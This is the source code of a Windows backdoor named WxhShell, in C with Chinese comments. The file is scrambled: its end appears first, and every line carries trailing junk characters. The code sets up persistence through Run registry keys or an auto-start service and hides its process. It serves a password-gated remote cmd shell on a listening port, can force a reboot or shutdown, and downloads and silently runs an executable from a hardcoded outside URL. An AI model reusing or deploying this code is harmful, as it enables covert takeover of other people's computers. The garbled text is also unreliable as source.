    if(Boot(SHUTDOWN)) ,XmyC7y<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '>"-e'1m(  
    else { 5:~BGK&{Y  
    closesocket(wsh); m'ykDK\B  
    ExitThread(0); *m`KY)b=l  
    } Auf2JH~  
    break; jl~?I*Gr  
    } ^n8r mh_%  
  // 获取shell NRZ>03w  
  case 's': { 3qBZzM O*  
    CmdShell(wsh); @M]7',2"  
    closesocket(wsh); yf7$m_$C'  
    ExitThread(0); MYF6tZ*  
    break; Pdw[#X<[`  
  } 9Sk?tl  
  // 退出 -<.b3Mh  
  case 'x': { mqb6MnK -  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o;2QZ"v  
    CloseIt(wsh); M}BqSzd*  
    break; \hFIg3  
    } >$p|W~x  
  // 离开 cQldBc  
  case 'q': { l]v>PIh~N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rjz~n38.  
    closesocket(wsh); :Vx5%4J  
    WSACleanup(); -A17tC20J1  
    exit(1); \t 04-  
    break; H}B%OFI\+  
        } [_?dpaTt  
  } G!3d!$t  
  } #jNN?,ZK  
3erGTa[|q  
  // 提示信息 5cE?>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U#U nM,3%  
} 298@&_  
  } uGMmS9v$ J  
BV01&.<|  
  return; QL_9a,R'r  
} ',P E25Z  
&?gvW//L2  
// shell模块句柄 7;;HP`vY  
int CmdShell(SOCKET sock) {@w!kl~8  
{ G@Y!*ZH*f  
STARTUPINFO si; O5eTkKUc  
ZeroMemory(&si,sizeof(si)); b 6B5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I?!7]Sn$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k(.6K[ b  
PROCESS_INFORMATION ProcessInfo; dCkk5&2n  
char cmdline[]="cmd"; sHQ82uX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %\2w 1  
  return 0; 26Jb{o9Z<  
} .y~vn[qN  
;VAHgIpx;  
// 自身启动模式 zwa%$U  
int StartFromService(void) K6l{wyMb|  
{ ~t-!{F  
typedef struct Vy7o}z`  
{ `gFE/i18  
  DWORD ExitStatus; ~'<ca<Go|  
  DWORD PebBaseAddress; &?xZ Hr`  
  DWORD AffinityMask; ]1(G:h\  
  DWORD BasePriority; -*T<^G;rK  
  ULONG UniqueProcessId; ij<6gv~ n"  
  ULONG InheritedFromUniqueProcessId; c;dMXv   
}   PROCESS_BASIC_INFORMATION; e=m=IVY #W  
1$#{om9  
PROCNTQSIP NtQueryInformationProcess; fyE#8h_>4  
s35`{PR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aX$Q}mgb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; da/Tms`T  
yhpeP  
  HANDLE             hProcess; p\ }Ep  
  PROCESS_BASIC_INFORMATION pbi; vz-O2B_u  
byTTLs,}d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -]K9sy)I  
  if(NULL == hInst ) return 0; FELDz7DYya  
3</gK$f2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H${5pY_M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ghb Jty`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QwSYjR:K  
shAoib?Kw:  
  if (!NtQueryInformationProcess) return 0; iYk4=l  
6,q}1-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6*\WH%  
  if(!hProcess) return 0; 5m]N%{<jAB  
GF=rGn@,)`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B3V;  
HDY2<Hzc  
  CloseHandle(hProcess); 9_  
e(~9JP9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NM{/rvM  
if(hProcess==NULL) return 0; iUua!uC  
(Iz$_(  
HMODULE hMod; =h Lw 1~  
char procName[255]; +-*Ww5Zti  
unsigned long cbNeeded; Jb (CH4|7  
!RD<"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ym =7EY?o  
Y%1 94fY$  
  CloseHandle(hProcess); -0>gq$/N=^  
+338z<'Z!  
if(strstr(procName,"services")) return 1; // 以服务启动 4{rqGC /  
ac%6eW0#  
  return 0; // 注册表启动 7B)m/%>3s  
} 1z5Oi u  
;#Y'SK  
// 主模块 ?;0w1  
int StartWxhshell(LPSTR lpCmdLine) 7a_tT;f;  
{ j LS<S_`  
  SOCKET wsl; lIUaGz|  
BOOL val=TRUE; 2]}4)_&d<e  
  int port=0; s1GR!*z>  
  struct sockaddr_in door; N a $eeM  
!JGe .U5  
  if(wscfg.ws_autoins) Install(); !w;oVPNg  
R0A|} Ee*  
port=atoi(lpCmdLine); psFY=^69o  
}83a^E9L  
if(port<=0) port=wscfg.ws_port; ~EL3I  
MOia] 5  
  WSADATA data; rijavZS6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V*< `!w  
fFYfb4o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "!w#E6gU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e"D%eFkDW  
  door.sin_family = AF_INET; a-bj! Rs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pb`Uxv  
  door.sin_port = htons(port); NZoNsNu*C.  
6D&{+;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !Soz??~o/  
closesocket(wsl); Q_r}cL/A  
return 1; JJZu%9~[  
} VchI0KL?  
4Y5lP00!}  
  if(listen(wsl,2) == INVALID_SOCKET) { |8q:sr_  
closesocket(wsl); ! *eDT4a  
return 1; Oo0SDWI`(  
} !7hjA=0  
  Wxhshell(wsl); 4'wbtE|  
  WSACleanup(); e=^^TX`I  
D>fg  
return 0; [p+-]V  
C==yl"w  
} v8} vk]b  
.sCj3sX*  
// 以NT服务方式启动 VtN1 [}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \'Q rJ ?D  
{ CBr(a'3{Z  
DWORD   status = 0; 3%[;nhbA7  
  DWORD   specificError = 0xfffffff; g2;lEW  
;p+[R+ )  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [eO^C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :;hz!6!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7,lnfCm H  
  serviceStatus.dwWin32ExitCode     = 0; abD@0zr  
  serviceStatus.dwServiceSpecificExitCode = 0; lDSF  
  serviceStatus.dwCheckPoint       = 0; xwF mY'o  
  serviceStatus.dwWaitHint       = 0; 3Cw}y55_y  
%vil ~NU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YSh@+AN  
  if (hServiceStatusHandle==0) return; K0YQ b&*k  
m{;j r<  
status = GetLastError(); p9>1a j2a  
  if (status!=NO_ERROR) ZuFcJ?8i  
{ V1&qgAy~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L</k+a?H!  
    serviceStatus.dwCheckPoint       = 0; RY .@_{  
    serviceStatus.dwWaitHint       = 0; .He}f,!f<  
    serviceStatus.dwWin32ExitCode     = status; ^6On^k[|fw  
    serviceStatus.dwServiceSpecificExitCode = specificError; F )Iz:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @C|nc&E2s  
    return; Obf RwZh?q  
  } w^"IR  
45?% D}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7 x'2  
  serviceStatus.dwCheckPoint       = 0; u4h0s1iI  
  serviceStatus.dwWaitHint       = 0; >qz#&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kl,NL]]4*5  
} U`aB&[=$  
k2@]nW"S  
// 处理NT服务事件,比如:启动、停止 'u:-~nSX)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |A/H*J,  
{ N; '] &f  
switch(fdwControl) njc-=o  
{ RR+{uSO,t  
case SERVICE_CONTROL_STOP: B[k=6EU8k  
  serviceStatus.dwWin32ExitCode = 0; ,$} xPC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uGv|!UQw  
  serviceStatus.dwCheckPoint   = 0; {Q}F.0Q  
  serviceStatus.dwWaitHint     = 0; L>h|1ZK  
  { yQ)&u+r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A;<wv>T  
  } kH5D%`Kw  
  return; ?<`oKBn  
case SERVICE_CONTROL_PAUSE: 9Pb6Z}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )q66^% ;S  
  break; 35Yf,@VO  
case SERVICE_CONTROL_CONTINUE: nwp(% fBo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wFX9F3m  
  break; Gl@{y (  
case SERVICE_CONTROL_INTERROGATE: cNbUr  
  break; a%A!Dz S  
}; GsmXcBzDw2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OXm`n/64+  
} P)kJ[Zv>f  
! ,bQ;p3g|  
// 标准应用程序主函数 j^7A }fz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?j0yT@G  
{ oOLey!uZw  
=ecLzk"+F  
// 获取操作系统版本 |r*)U(c`  
OsIsNt=GetOsVer(); ae2Q^yLA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lYTQg~aPm  
X$;&Mdo.  
  // 从命令行安装 |his8\C+x  
  if(strpbrk(lpCmdLine,"iI")) Install(); B>W8pZu-J  
0-uw3U<  
  // 下载执行文件 XZ . T%g  
if(wscfg.ws_downexe) { _6Y+E"@zs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lXg5UrW  
  WinExec(wscfg.ws_filenam,SW_HIDE); tYXE$ i  
} {l)$9!  
EJ>&\Iq  
if(!OsIsNt) { fZezDm(Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 6Cz O ztn  
HideProc(); qVKdc*R-  
StartWxhshell(lpCmdLine); o K>(yC[  
} WR3,woo  
else `sCn4-$8  
  if(StartFromService()) ,sIC=V +  
  // 以服务方式启动 @AF<Xp{  
  StartServiceCtrlDispatcher(DispatchTable); V^,eW!  
else gfs;?vP  
  // 普通方式启动 zGFD71=#  
  StartWxhshell(lpCmdLine); i84!x%|P  
<:V~_j6P0  
return 0; Z4EmRa30 p  
} veHe   
w`;HwK$ ,  
fz\Q>u'T  
UXlZI'|He  
=========================================== puJB&u"4L  
>v%js!`f  
J09jBQ] R  
y ?&hA! x  
kzjuW  
ujRXAN@mC  
" +4.s4&f)  
 #D4  
#include <stdio.h> {BmqUoZrC  
#include <string.h> G.H8 ><%  
#include <windows.h> `Bw]PO  
#include <winsock2.h> "bIb?e2h9G  
#include <winsvc.h> X+C*+k,z  
#include <urlmon.h> a8f#q]TyQ  
%\v8 FCb  
#pragma comment (lib, "Ws2_32.lib") aknIrblS\  
#pragma comment (lib, "urlmon.lib") &yvvea]  
F)(^c  
#define MAX_USER   100 // 最大客户端连接数 gLB(A\yG  
#define BUF_SOCK   200 // sock buffer |ZL?Pqki  
#define KEY_BUFF   255 // 输入 buffer {2h *NFp  
b!P,+!<  
#define REBOOT     0   // 重启 CtXbAcN2B  
#define SHUTDOWN   1   // 关机 @^<odmM  
-BH/)$-$  
#define DEF_PORT   5000 // 监听端口 O|V0WiY<  
!,$#i  
#define REG_LEN     16   // 注册表键长度 7ocUFY0"  
#define SVC_LEN     80   // NT服务名长度 ]*#i_dho7  
>!t3~q1Cn  
// 从dll定义API _6nAxm&x`%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u<Kowt<ci  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UPI- j#yc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F#gA2VCm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l!f_ +lv  
/@F'f@;  
// wxhshell配置信息 rXi&8R[  
struct WSCFG { [zx|3wWAX-  
  int ws_port;         // 监听端口 l S)^8  
  char ws_passstr[REG_LEN]; // 口令 {+WBi(=W  
  int ws_autoins;       // 安装标记, 1=yes 0=no w6i2>nu_O  
  char ws_regname[REG_LEN]; // 注册表键名 ryVYY> *(K  
  char ws_svcname[REG_LEN]; // 服务名 b^VRpv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nwU],{(Hgr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 byxlC?q7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [,;e ,ld  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [(heE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %dzt'uz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TP rq:"K  
NX& dJ 6a  
}; He(65ciT<O  
Jy)=TJ!y  
// default Wxhshell configuration w'K7$F51  
struct WSCFG wscfg={DEF_PORT, CefFUqo4  
    "xuhuanlingzhe", TQ]gvi |m  
    1, +@QrGY  
    "Wxhshell", gx.\H3y  
    "Wxhshell", }PBme'kP  
            "WxhShell Service", ENZym  
    "Wrsky Windows CmdShell Service", c!ZZMC s  
    "Please Input Your Password: ", k( :Bl  
  1, 6G2~'zqPc~  
  "http://www.wrsky.com/wxhshell.exe", ]E-/}Ysz  
  "Wxhshell.exe" ^OKm (  
    }; ?6CLUu|7n  
w7Yu} JY^  
// 消息定义模块 KL'1)G"OH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o8R_ Ojh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; itYoR-XJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Voo'ZeZa  
char *msg_ws_ext="\n\rExit."; nQ\`]_C  
char *msg_ws_end="\n\rQuit."; E7L>5z  
char *msg_ws_boot="\n\rReboot..."; \>6*U r  
char *msg_ws_poff="\n\rShutdown..."; ,)1C"'  
char *msg_ws_down="\n\rSave to "; SE+hB  
{Dpsr` &  
char *msg_ws_err="\n\rErr!"; ',r` )9o  
char *msg_ws_ok="\n\rOK!"; .dU91> ~Ov  
/o9it;  
char ExeFile[MAX_PATH]; NV * 2  
int nUser = 0; kG /1  
HANDLE handles[MAX_USER]; <=NnrZOF  
int OsIsNt; _d]{[& p4t  
.o/|]d`%  
SERVICE_STATUS       serviceStatus; 93]63NY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0`x>p6.)G  
AkQ(V  
// 函数声明 R! M'  
int Install(void); @D;K&:~|N  
int Uninstall(void); :qdyC sn2  
int DownloadFile(char *sURL, SOCKET wsh); VW*%q0i-  
int Boot(int flag); CtCReH03  
void HideProc(void); nnyT,e%  
int GetOsVer(void); v#?DWeaFS_  
int Wxhshell(SOCKET wsl); ?{ )'O+s  
void TalkWithClient(void *cs); \6wltTW]#  
int CmdShell(SOCKET sock); @rYZ0`E9  
int StartFromService(void); +j 9+~  
int StartWxhshell(LPSTR lpCmdLine); N|yA]dg[  
VeWh9:"bJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *:CTIV5N0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !igPyhi,hl  
@&m [w'tn  
// 数据结构和表定义 D,cD]tB2  
SERVICE_TABLE_ENTRY DispatchTable[] = v@{y}  
{ rN&fFI  
{wscfg.ws_svcname, NTServiceMain}, ^aB;Oo  
{NULL, NULL} g$uiwqNA%  
}; wO,qFY  
+S~ u,=  
// 自我安装 { 4j<X5V  
int Install(void) :zU4K=kR  
{ ~!({U nt+'  
  char svExeFile[MAX_PATH]; i3)3. WK^  
  HKEY key; ]V/5<O1  
  strcpy(svExeFile,ExeFile); q]="ek&_  
E:9RskI  
// 如果是win9x系统,修改注册表设为自启动 &}u_e`A  
if(!OsIsNt) { w: BJ4bi=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ._0$#J S[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5S4Nx>  
  RegCloseKey(key); X?haHM#]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oO tjG3B({  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &E]) sJ0  
  RegCloseKey(key); ;-1KPDIp`  
  return 0; dzIBdth  
    } OAkqPG&w  
  } GG#-x$jK  
} vE[d& b[  
else { vu.ug$T  
Aa9l-:R  
// 如果是NT以上系统,安装为系统服务 | d*<4-:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $(62j0mS>  
if (schSCManager!=0) @{IX do  
{ <2(X?,N5BD  
  SC_HANDLE schService = CreateService (h wzA *(c  
  ( @>z.chM;  
  schSCManager, F[c oa5  
  wscfg.ws_svcname, eYv^cbO@:  
  wscfg.ws_svcdisp, Tcy9oYh!Pn  
  SERVICE_ALL_ACCESS, &5HI   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yFAUD ro  
  SERVICE_AUTO_START, w_U#z(W3l  
  SERVICE_ERROR_NORMAL, W _[9  
  svExeFile, S8v,' Cc  
  NULL, ^X#)'\T  
  NULL, :30daKo  
  NULL, w8+ phN(-M  
  NULL, d*u3]&?x&f  
  NULL %;wD B2k*  
  ); z/j*zU `  
  if (schService!=0) /*g0M2+OZo  
  { `V/kM0A5  
  CloseServiceHandle(schService); x<t ?Yc9  
  CloseServiceHandle(schSCManager); 67/@J)z0%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PdKcDKJ  
  strcat(svExeFile,wscfg.ws_svcname); */{y%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c:=HN-*vQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \)*\$I\]  
  RegCloseKey(key); d1yLDj?  
  return 0; VKPsg  
    } )E",)}Nh  
  } #: EhGlq8  
  CloseServiceHandle(schSCManager); GfgHFv  
} &x (D%+  
} k7JC~D E#  
"S@]yL  
return 1; \V~B+e  
} v#d3W| ~  
fhk(<KZvJ  
// 自我卸载 o JVdFE  
int Uninstall(void) c @lF*"4  
{ UaG&HGg]!  
  HKEY key; )l*3^kwL{U  
cm!vuoB~~  
if(!OsIsNt) { hXH+C-%{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :"Vmy.xq  
  RegDeleteValue(key,wscfg.ws_regname); di;~$rI!?  
  RegCloseKey(key); E\2f"s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %M_F/O  
  RegDeleteValue(key,wscfg.ws_regname); kJ* N`=  
  RegCloseKey(key); An]Vx<PD  
  return 0; -Nr*na^H9#  
  } h1'm[Y  
} 6ZjUC1  
} XcbEh  
else { 9n5uO[D  
?5G; =#I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4{,!'NA  
if (schSCManager!=0) 0 Swu]OE  
{ T2?.o.&u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G~zfPBN0D  
  if (schService!=0) _+}o/449  
  { 2(Xu?W 7d  
  if(DeleteService(schService)!=0) { !FK)iQy$0  
  CloseServiceHandle(schService); (R s;+S  
  CloseServiceHandle(schSCManager); &/Gf@[  
  return 0; 9r:|u:i7m  
  } \1u^?cBd  
  CloseServiceHandle(schService); Yl1l$[A$  
  } Ut%{pc 7^F  
  CloseServiceHandle(schSCManager); U+-;(Fh~  
} x[&)\[t  
} \"I418T K  
1Uah IePf  
return 1; F.Bij8\  
} }L`Z<h*H  
&G-dxET]  
// 从指定url下载文件 $;";i:H`  
int DownloadFile(char *sURL, SOCKET wsh) O*F= xG  
{ N+]HJ`K  
  HRESULT hr; 6 {`J I  
char seps[]= "/"; [$]-W$j+  
char *token; 5rtE/ {A  
char *file; -g"Wi@Qr  
char myURL[MAX_PATH]; >N0L  
char myFILE[MAX_PATH]; cI6Td*vM  
?:5/4YC  
strcpy(myURL,sURL); ( s+}l?  
  token=strtok(myURL,seps); tI0D{Xrc  
  while(token!=NULL) (j%"iQD  
  { yJw.z#bB#  
    file=token; sVlQ5M oo(  
  token=strtok(NULL,seps); #|V)>")  
  } U $=Z`^<  
fn5!Nr ,  
GetCurrentDirectory(MAX_PATH,myFILE); SJ,];mC0  
strcat(myFILE, "\\"); D;:p6q}hT  
strcat(myFILE, file); l?X)]1  
  send(wsh,myFILE,strlen(myFILE),0); 6/0bis H  
send(wsh,"...",3,0); =FAIbM>u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yru,YA   
  if(hr==S_OK) *aYuuRx  
return 0; 6 ZXRb  
else a!j{A?7Kw.  
return 1; {XXnMO4uR;  
 ;t/KF"  
} $F/xv&t  
PmE 8O  
// 系统电源模块 <pFbm  
int Boot(int flag) xjYH[PgfX  
{ O^~nf%  
  HANDLE hToken; a0k/R<4  
  TOKEN_PRIVILEGES tkp; q:wz!~(>  
(AG((eV  
  if(OsIsNt) { &jrc]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7a4Z~r27/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8qUNh#  
    tkp.PrivilegeCount = 1; D4{<~/oBv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LmKY$~5P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2H1?f|0>  
if(flag==REBOOT) { `Gg,oCQg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5p7i9"tgn  
  return 0; KO))2GET  
} e[QEOx/-h2  
else { HSACaTVK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /W{^hVkvC  
  return 0; jU{~3Gn?  
} 94lz?-j  
  } ~'Korxa  
  else { US<l4  
if(flag==REBOOT) { r+a0.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @><8YN^)%  
  return 0; 7Xh ;dJAF3  
} +~xzgaL  
else { Gl4f:`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~kI$8oAry  
  return 0; K;R!>p}t  
} YCG $GD  
} cU "uKR  
wk2Ff*&  
return 1; &!>.)I`  
} <Ug1g0.  
=>e> r~cW  
// win9x进程隐藏模块 +[V.yY/t|>  
void HideProc(void) pWeD,!f  
{ MZ^(BOe_  
ZQsVSz( 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bl+PJ 0  
  if ( hKernel != NULL ) m*14n_m'  
  { o#-^Lg&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^HWa owy=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .p78 \T  
    FreeLibrary(hKernel); Hr(%y&0  
  } Dyj>dh-  
+@+*sVb  
return; );xTl6Y9  
} gZL,xX  
DLoH.Fd  
// 获取操作系统版本 FY,)iZ}Pq  
int GetOsVer(void) 6^,;^   
{ MwD8a<2Dg  
  OSVERSIONINFO winfo; R E9 `T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fHgvh&FU  
  GetVersionEx(&winfo); CeUC[cUQU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |Syulus  
  return 1; N1JM[<PP  
  else 4=l$wg~;  
  return 0; 76cT}l&.h8  
} r_Pi)MPc  
C!|Yz=e  
// 客户端句柄模块 fjqd16{Q  
int Wxhshell(SOCKET wsl) O]?PC^GGY  
{ !)EYM&:Y  
  SOCKET wsh; % 3<7HY]~  
  struct sockaddr_in client; 15kkf~Z<t  
  DWORD myID; ,a ":/ /[  
@h%Nn)QBq  
  while(nUser<MAX_USER) dTQW/kAHQ  
{ To,*H OP  
  int nSize=sizeof(client); whQJWi=ck  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CS;4ysNf  
  if(wsh==INVALID_SOCKET) return 1; 5M#L O@U  
n}8}:3"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $OaxetPH  
if(handles[nUser]==0) {Lsl2@22  
  closesocket(wsh); p<\7" SB=  
else ,HK-mAH   
  nUser++; ]}9[ys  
  } G^le91$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,-SWrp`f  
\$xj>b;  
  return 0; ?:i,%]zxC  
} lPg?Fk7AP  
-o@L"C>   
// 关闭 socket Cr YPcvd6  
void CloseIt(SOCKET wsh) ?DKY;:dZF  
{ xk s M e  
closesocket(wsh); 2k^'}7G%  
nUser--; |Zdl[|kX  
ExitThread(0); }qBmt>#  
} 5I/lFoy7  
fN6n2*wr(  
// 客户端请求句柄 "Ve9\$_s  
void TalkWithClient(void *cs) $-paYQ4  
{ a[E}o<{  
1/J6<FVq  
  SOCKET wsh=(SOCKET)cs; j7J'd?l  
  char pwd[SVC_LEN]; nPUD6<bF  
  char cmd[KEY_BUFF]; #cqI0ny?G  
char chr[1]; I M G^L  
int i,j; NJg )S2]7  
4-oaq'//BT  
  while (nUser < MAX_USER) { x !n8Wx  
)Cd.1X8  
if(wscfg.ws_passstr) { ur[^/lxx0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kG`&Z9P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L.:8qY  
  //ZeroMemory(pwd,KEY_BUFF); ipS:)4QFxJ  
      i=0; -[[( Zx  
  while(i<SVC_LEN) { &W{v(@  
wJh/tb=$o  
  // 设置超时 ?H eUU  
  fd_set FdRead; <,y> W!  
  struct timeval TimeOut; e s<  
  FD_ZERO(&FdRead); XfN(7d0  
  FD_SET(wsh,&FdRead); ^95njE`>t`  
  TimeOut.tv_sec=8; E[<*Al +N  
  TimeOut.tv_usec=0; l_Zx'm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^ U~QQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gmZ] E45  
\85~~v@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 664D5f#EJ  
  pwd=chr[0]; / |isRh|  
  if(chr[0]==0xd || chr[0]==0xa) { \J(kM,ZJ  
  pwd=0; 9T0g%&  
  break; `yO'-(@"gY  
  }  BO.Db``  
  i++; q`UaJ_7  
    } 0e1-ZP CDj  
~EU\\;1Rmq  
  // 如果是非法用户,关闭 socket Gr#WD=I-}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;3o7>yEv  
} <6X*k{  
e0hY   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w1 eFm:'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n/S+0uT  
8#/y`ul  
while(1) { G=|~SYz  
oXU b_/  
  ZeroMemory(cmd,KEY_BUFF); L+}<gQJ(  
LL==2KNUo  
      // 自动支持客户端 telnet标准   w/*m_O\!  
  j=0; ^9kx3Pw?8  
  while(j<KEY_BUFF) { 4eJR=h1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (%mV,2|:20  
  cmd[j]=chr[0]; }_5R9w]"  
  if(chr[0]==0xa || chr[0]==0xd) { ij;P5OA  
  cmd[j]=0; $m A2 AI  
  break; r-.>3J  
  } Je}0KW3G9L  
  j++; nv\K!wZI=b  
    } Xj~%kPe  
@0d"^  
  // 下载文件 216$,4i  
  if(strstr(cmd,"http://")) { qG ? :Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vrcIwCa  
  if(DownloadFile(cmd,wsh)) (|NCxey  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hq!|r8@6  
  else }1W@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5n{d jP  
  } T6QRr}8`/J  
  else { =4l @A>  
j[.nk  
    switch(cmd[0]) { ;j7G$s9  
